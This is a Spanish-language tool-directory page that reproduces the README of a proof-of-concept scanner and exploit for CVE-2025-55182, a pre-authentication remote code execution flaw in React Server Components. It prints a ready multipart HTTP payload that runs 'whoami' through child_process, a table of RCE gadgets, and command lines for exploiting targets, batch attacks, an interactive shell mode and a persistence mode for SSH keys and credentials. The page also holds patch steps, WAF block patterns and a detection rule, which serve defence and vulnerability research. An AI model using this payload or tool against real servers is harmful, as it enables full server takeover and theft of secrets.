Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-POC-SCANNER — Herramienta Unificada de Investigación de Seguridad | Kitploit
Herramientas/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

Herramienta Unificada de Investigación de Seguridad

Ver Repositorio
8hace 9 mesesAún no revisado
Compartir

CVE-2025-55182: RCE Crítico de Pre-Autenticación en React Server Components

CVE-2025-55182 CVSS 10.0 Affected React Versions Affected Next.js Versions

Investigación de Seguridad por schema.cx
"El control es una ilusión. Son los sistemas que construimos los que nos controlan—a menos que los entendamos primero."


📋 Tabla de Contenidos

  • Descargo de Responsabilidad y Aviso Legal
  • Resumen Ejecutivo
  • Descripción Técnica
  • Sistemas Afectados
  • Prueba de Concepto
  • Evaluación de Impacto
  • Mitigación y Remediación
  • Cronología de Divulgación Responsable
  • Referencias
  • Atribución

  • ⚠️ Descargo de Responsabilidad y Aviso Legal

    ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS

    ALTO. LEE ESTO ANTES DE CONTINUAR.

    Este repositorio contiene código de prueba de concepto para una vulnerabilidad de seguridad crítica. Al acceder, descargar o utilizar cualquier material de este repositorio, usted reconoce y acepta lo siguiente:

    Requisitos Legales

    1. Autorización por Escrito Requerida: Debe tener permiso explícito y por escrito del propietario del sistema antes de realizar cualquier prueba de seguridad. Los acuerdos verbales son insuficientes.

    2. Limitaciones de Alcance: Las pruebas deben limitarse a los sistemas explícitamente enumerados en su autorización. No se permite la "expansión del alcance".

    3. Leyes Aplicables: El acceso no autorizado a sistemas informáticos viola:

      • Estados Unidos: Computer Fraud and Abuse Act (CFAA), 18 U.S.C. § 1030
      • Unión Europea: Directiva 2013/40/UE sobre ataques contra los sistemas de información
      • Reino Unido: Computer Misuse Act 1990
      • Australia: Criminal Code Act 1995, División 477-478
      • Otras jurisdicciones: Leyes similares de delitos informáticos se aplican globalmente

    Descargo de Responsabilidad

    LOS AUTORES Y COLABORADORES DE ESTE REPOSITORIO:

    • No aceptan NINGUNA responsabilidad por el mal uso de esta herramienta
    • No ofrecen NINGUNA garantía, expresa o implícita
    • NO son responsables de cualquier daño derivado del uso o de la imposibilidad de usar este software
    • NO respaldan actividades ilegales de ningún tipo

    Pautas Éticas

    • Nunca pruebes sin permiso — incluso si "solo quieres comprobar"
    • Documenta todo — mantén registros detallados de todas las actividades de prueba
    • Minimiza el impacto — usa los métodos menos invasivos posibles
    • Informa de manera responsable — sigue las prácticas de divulgación coordinada
    • Respeta la privacidad — no exfiltres ni retengas datos confidenciales

    "La pregunta no es si podemos explotar la vulnerabilidad. Es si deberíamos hacerlo, y con qué propósito."


    📊 Resumen Ejecutivo

    CVE-2025-55182 es una vulnerabilidad crítica de ejecución remota de código (RCE) pre-autenticación que afecta a React Server Components en aplicaciones React 19.x y Next.js 15.x-16.x.

    Impacto Empresarial

    Esta vulnerabilidad permite a cualquier atacante no autenticado con acceso de red a una aplicación vulnerable ejecutar comandos arbitrarios en el servidor. El ataque no requiere credenciales, ni interacción del usuario, y puede automatizarse por completo. La explotación exitosa conduce a:

    • Compromiso total del servidor — los atacantes obtienen control completo del sistema subyacente
    • Posibilidad de filtración de datos — acceso a bases de datos, variables de entorno, secretos y datos de usuario
    • Movimiento lateral — los servidores comprometidos pueden usarse para atacar redes internas
    • Riesgo de cadena de suministro — los sistemas de producción que sirven a millones de usuarios pueden verse afectados

    Clasificación de Severidad

    MétricaClasificación
    Puntuación Base CVSS v3.110.0 CRÍTICO
    Vector de AtaqueRed
    Complejidad del AtaqueBaja
    Privilegios RequeridosNinguno
    Interacción del UsuarioNinguna
    Impacto (C/I/A)Alto / Alto / Alto

    "Las personas confían en los sistemas porque no los entienden. Esa confianza es una vulnerabilidad."


    🔬 Descripción Técnica

    Análisis de Causa Raíz

    La vulnerabilidad existe en la implementación del protocolo Flight de React dentro de la función requireModule. Esta función utiliza notación de corchetes para acceder a las exportaciones del módulo basándose en entradas controladas por el usuario, sin validar que la propiedad solicitada sea una propiedad propia del módulo.

    Ubicación del Código Vulnerable:

    root@kitploit:~
    react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
    Function: requireModule (approximately line 2546-2558 in v19.0.0)
    

    Patrón Vulnerable:

    root@kitploit:~
    function requireModule(metadata) {
      var moduleExports = __webpack_require__(metadata[0]);
      // ... async handling ...
      return moduleExports[metadata[2]];  // ← VULNERABLE: No hasOwnProperty check
    }
    

    Mecanismo de Explotación

    El ataque aprovecha el recorrido de la cadena de prototipos de JavaScript:

    1. Punto de Entrada: El atacante envía una solicitud maliciosa de formulario multipart a un endpoint de Server Action
    2. Inyección de Payload: El campo $ACTION_0:0 contiene JSON con propiedades id (formato módulo#exportación) y bound (argumentos) controladas por el atacante
    3. Acceso al Prototipo: Al especificar exportaciones como constructor o acceder a propiedades del prototipo, los atacantes pueden referenciar módulos integrados de Node.js
    4. Gadgets de RCE: Funciones como vm.runInThisContext, child_process.execSync o fs.readFileSync se ejecutan con argumentos proporcionados por el atacante

    Vector de Ataque

    root@kitploit:~
    HTTP POST /formaction
        ↓
    decodeAction(formData, serverManifest)
        ↓
    loadServerReference(manifest, value.id, value.bound)
        ↓
    resolveServerReference(config, id)  // Parses "module#export" format
        ↓
    requireModule(metadata)
        ↓
    moduleExports[metadata[2]]  // Prototype chain access → RCE
    

    Estructura del Payload

    root@kitploit:~
    POST /api/action HTTP/1.1
    Content-Type: multipart/form-data; boundary=----Boundary
    
    ------Boundary
    Content-Disposition: form-data; name="$ACTION_REF_0"
    
    ------Boundary
    Content-Disposition: form-data; name="$ACTION_0:0"
    
    {"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
    ------Boundary--
    

    Gadgets de RCE Disponibles

    GadgetMóduloDescripciónImpacto
    vm#runInThisContextvmEjecutar JS en el contexto actualRCE Directo
    vm#runInNewContextvmEjecutar JS en sandbox (escapable)RCE Directo
    child_process#execSyncchild_processEjecutar comandos de shellRCE Directo
    child_process#spawnSyncchild_processGenerar procesosRCE Directo
    fs#readFileSyncfsLeer archivos arbitrariosExfiltración de Datos
    fs#writeFileSyncfsEscribir archivos arbitrariosPersistencia/Puerta Trasera
    module#_loadmoduleCargar módulos JS (RCE en 2 pasos)RCE Indirecto

    "Todo sistema tiene una puerta. La cuestión es si construiste la cerradura tú mismo—o la heredaste de alguien que nunca esperaba visitas."


    🎯 Sistemas Afectados

    Versiones Vulnerables

    ProductoVersiones VulnerablesVersiones Parcheadas
    React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
    Next.js15.x, 16.x (usando React vulnerable)Versiones con React parcheado

    Requisitos Previos para la Explotación

    1. React Server Components Habilitados: La aplicación usa RSC con Server Actions
    2. Versión de React Vulnerable: Se utiliza una de las versiones afectadas
    3. Acceso de Red: El atacante puede alcanzar los endpoints de Server Action
    4. Módulos Peligrosos en el Bundle: Para RCE directo, módulos como vm, child_process o fs deben estar en el bundle de webpack

    Requisitos de Plataforma

    • Runtime: Node.js (cualquier versión compatible con React 19)
    • Framework: Next.js App Router o implementación RSC personalizada
    • No se requiere configuración adicional para ser vulnerable

    Probabilidad de Módulos Peligrosos

    MóduloProbabilidad en el BundleFuentes Comunes
    fsMuy Altafs-extra, gray-matter, multer, sharp, chokidar
    child_processMedia-Altaexeca, shelljs, puppeteer, sharp, generadores de PDF
    vmBaja-Mediaejs, pug, motores de plantillas
    moduleMuy Bajatsx, ts-node (generalmente solo CLI)

    🔧 Prueba de Concepto

    Herramienta de Escáner

    Este repositorio incluye un escáner de seguridad integral basado en Python con múltiples modos de funcionamiento.

    Estructura del Repositorio

    root@kitploit:~
    CVE-2025-55182-poc/
    ├── README.md                    # This file
    ├── scanner/
    │   ├── __init__.py             # Python package init
    │   ├── scanner.py              # Main unified scanner (6 modes)
    │   ├── readme.md               # Detailed scanner documentation
    │   ├── requirements.txt        # Python dependencies
    │   └── docs/
    │       ├── TECHNICAL-ANALYSIS.md    # Deep dive into vulnerability
    │       └── VULNERABLE-PACKAGES.md   # Affected package versions
    

    Instalación:

    root@kitploit:~
    cd scanner
    pip install -r requirements.txt
    

    Ejemplos de Uso Básico

    Escaneo de Vulnerabilidad:

    root@kitploit:~
    # Check if target is vulnerable
    python scanner.py scan https://target.com
    

    Detección de Gadgets:

    root@kitploit:~
    # Identify available RCE gadgets
    python scanner.py exploit https://target.com --detect-gadgets
    

    Ejecución de Comandos (con autorización):

    root@kitploit:~
    # Execute command on vulnerable target
    python scanner.py exploit https://target.com -c "whoami"
    

    Pruebas por Lotes:

    root@kitploit:~
    # Test multiple targets from file
    python scanner.py batch -f targets.txt -o results.json
    

    Escaneo Automatizado con Verificación:

    root@kitploit:~
    # Comprehensive scan with exploit verification
    python scanner.py auto -f targets.txt -o report.txt
    

    Salida Esperada

    Objetivo Vulnerable:

    root@kitploit:~
    [+] VULNERABLE to CVE-2025-55182!
        Framework: Next.js
        Version: 15.1.0
        Confidence: HIGH
        
    Available Gadgets:
      ✓ vm#runInThisContext
      ✓ child_process#execSync
      ✓ fs#readFileSync
      ✓ fs#writeFileSync
    

    Objetivo Parcheado:

    root@kitploit:~
    [-] Not vulnerable or unable to determine
        Framework detected: Next.js
        Version: 15.2.0 (patched)
    

    Modos del Escáner

    ModoPropósito
    scanDetección de vulnerabilidades y fingerprinting
    exploitExplotación controlada con gadgets específicos
    shellShell de comandos interactiva en objetivos vulnerables
    batchProbar múltiples URLs con estadísticas
    autoEscaneo automatizado multi-objetivo con verificación
    persistDemostraciones de ataques de persistencia (claves SSH, credenciales)

    Características

    • Detección de Framework: Identifica aplicaciones Next.js/React antes de la explotación
    • Detección de WAF/CDN: Reconoce Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF y más
    • Múltiples Gadgets de RCE: Rutas de explotación vm, child_process, fs, module
    • RCE en Dos Pasos: Explotación alternativa mediante fs#writeFileSync + module#_load
    • Verificación: Confirma exploits con prueba de ejecución
    • Prevención de Falsos Positivos: Filtrado inteligente de respuestas HTML/WAF
    • Informes: Formatos de salida de texto, JSON y HTML

    Para documentación completa, consulte scanner/readme.md.

    "Una herramienta solo es tan peligrosa como la intención detrás de ella. En las manos adecuadas, un arma se convierte en un escudo."


    💥 Evaluación de Impacto

    Impacto de Confidencialidad: ALTO

    • Variables de Entorno: Credenciales de bases de datos, claves de API, secretos
    • Código Fuente: Lógica de la aplicación, algoritmos propietarios
    • Datos de Usuario: Información personal, tokens de autenticación
    • Archivos del Sistema: /etc/passwd, claves SSH, credenciales de la nube
    • Redes Internas: Punto de pivote para ataques adicionales

    Impacto de Integridad: ALTO

    • Inyección de Código: Puertas traseras en archivos de la aplicación
    • Manipulación de Datos: Modificaciones en bases de datos
    • Cambios de Configuración: Ajustes de seguridad, controles de acceso
    • Mecanismos de Persistencia: Tareas cron, scripts de inicio, claves SSH

    Impacto de Disponibilidad: ALTO

    • Interrupción del Servicio: Terminación de procesos, agotamiento de recursos
    • Destrucción de Datos: Eliminación de archivos, borrado de bases de datos
    • Despliegue de Ransomware: Cifrado de archivos críticos
    • Compromiso Total del Sistema: Control administrativo completo

    Escenarios de Ataque

    1. Filtración de Datos: El atacante lee archivos .env que contienen credenciales de bases de datos y exfiltra datos de clientes

    2. Instalación de Criptominero: El atacante escribe un script de minería y añade una tarea cron para persistencia

    3. Ataque a la Cadena de Suministro: El atacante modifica el código fuente en producción, sirviendo contenido malicioso a los usuarios

    4. Movimiento Lateral: El servidor comprometido se utiliza para atacar bases de datos, APIs y servicios internos

    5. Ransomware: El atacante cifra los archivos de la aplicación y exige un pago por las claves de descifrado


    🛡️ Mitigación y Remediación

    Acciones Inmediatas (Hacer Ahora)

    1. Actualizar React Inmediatamente

      root@kitploit:~
      npm update react react-dom react-server-dom-webpack
      

      Versiones objetivo: 19.0.1+, 19.1.2+ o 19.2.1+

    2. Verificar la Aplicación del Parche

      root@kitploit:~
      npm ls react
      

      Asegúrese de que no queden versiones vulnerables en su árbol de dependencias

    Reglas de WAF/Firewall

    Bloquear solicitudes que contengan estos patrones:

    root@kitploit:~
    # Request body patterns to block
    #constructor
    #__proto__
    #prototype
    vm#runInThisContext
    vm#runInNewContext
    child_process#execSync
    child_process#execFileSync
    child_process#spawnSync
    module#_load
    fs#readFileSync
    fs#writeFileSync
    

    Endurecimiento de la Configuración de Next.js

    Excluir paquetes peligrosos del bundling de webpack:

    root@kitploit:~
    // next.config.js
    module.exports = {
      serverExternalPackages: [
        'sharp',
        'puppeteer',
        'execa',
        'shelljs',
        'vm2'
      ]
    }
    

    Detección y Monitoreo

    Patrones de Registro a Monitorear:

    • Campos $ACTION_REF_ o $ACTION_ID_ inusuales en los cuerpos de las solicitudes
    • Solicitudes POST a endpoints /api/* con datos de formulario multipart que contienen JSON
    • Mensajes de error que hagan referencia a constructor, prototype o acceso inesperado a módulos

    Firmas de Detección de Intrusiones:

    root@kitploit:~
    alert http any any -> $HOME_NET any (
      msg:"CVE-2025-55182 Exploit Attempt";
      content:"$ACTION_";
      content:"#constructor"; distance:0;
      sid:2025551820; rev:1;
    )
    

    Recomendaciones a Largo Plazo

    1. Auditoría de Dependencias: Escaneos regulares con npm audit, Snyk o herramientas similares
    2. Actualizaciones de Seguridad: Actualizaciones automáticas de dependencias mediante Dependabot o Renovate
    3. Validación de Entradas: Nunca confíe en la entrada del usuario en patrones de acceso a propiedades
    4. Privilegio Mínimo: Ejecute las aplicaciones con los permisos mínimos necesarios
    5. Segmentación de Red: Aísle los sistemas de producción de las redes internas

    "Parchear no se trata solo de arreglar lo que está roto. Se trata de cerrar las puertas que no sabías que estaban abiertas."


    📅 Cronología de Divulgación Responsable

    FechaEvento
    DescubrimientoInformación pendiente
    Notificación al ProveedorInformación pendiente
    Confirmación del ProveedorInformación pendiente
    Desarrollo del ParcheInformación pendiente
    Lanzamiento del ParcheReact 19.0.1, 19.1.2, 19.2.1
    Divulgación PúblicaInformación pendiente
    Asignación de CVECVE-2025-55182

    Esta divulgación sigue las Pautas de Divulgación de Vulnerabilidades de CERT/CC y los estándares ISO/IEC 29147:2018 para la divulgación coordinada de vulnerabilidades.


    📚 Referencias

    Recursos Oficiales

    • Entrada CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
    • Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

    Avisos de los Proveedores

    • Avisos de Seguridad de React: https://github.com/facebook/react/security/advisories
    • Seguridad de Next.js: https://nextjs.org/docs/security

    Investigación Relacionada

    • Análisis Técnico (Análisis Profundo)
    • Análisis de Paquetes Vulnerables

    Lectura Complementaria

    • OWASP - Contaminación de Prototipos
    • Seguridad del Módulo VM de Node.js
    • RFC de React Server Components

    🏆 Atribución

    Investigación Original

    Esta prueba de concepto fue desarrollada por el equipo de investigación de seguridad de schema.cx.

    Repositorio: https://github.com/ejpir/CVE-2025-55182-poc

    Agradecimientos

    Nos gustaría agradecer a:

    • Los equipos de seguridad de React y Next.js por su rápida respuesta
    • La comunidad de investigación de seguridad por el análisis colaborativo
    • MITRE por la coordinación del CVE

    📜 Licencia

    Este proyecto se publica solo con fines educativos y de investigación de seguridad autorizada.

    Al usar este software, usted acepta:

    1. Usarlo solo en sistemas de su propiedad o para los cuales tenga autorización explícita para realizar pruebas
    2. Seguir las prácticas de divulgación responsable
    3. No usarlo con fines maliciosos
    4. Aceptar toda la responsabilidad por sus acciones

    "No hackeamos para destruir. Hackeamos para entender. Y entender es el primer paso para construir algo mejor."

    schema.cx — Investigación de Seguridad para un Mundo Digital Más Seguro

    Descargar herramienta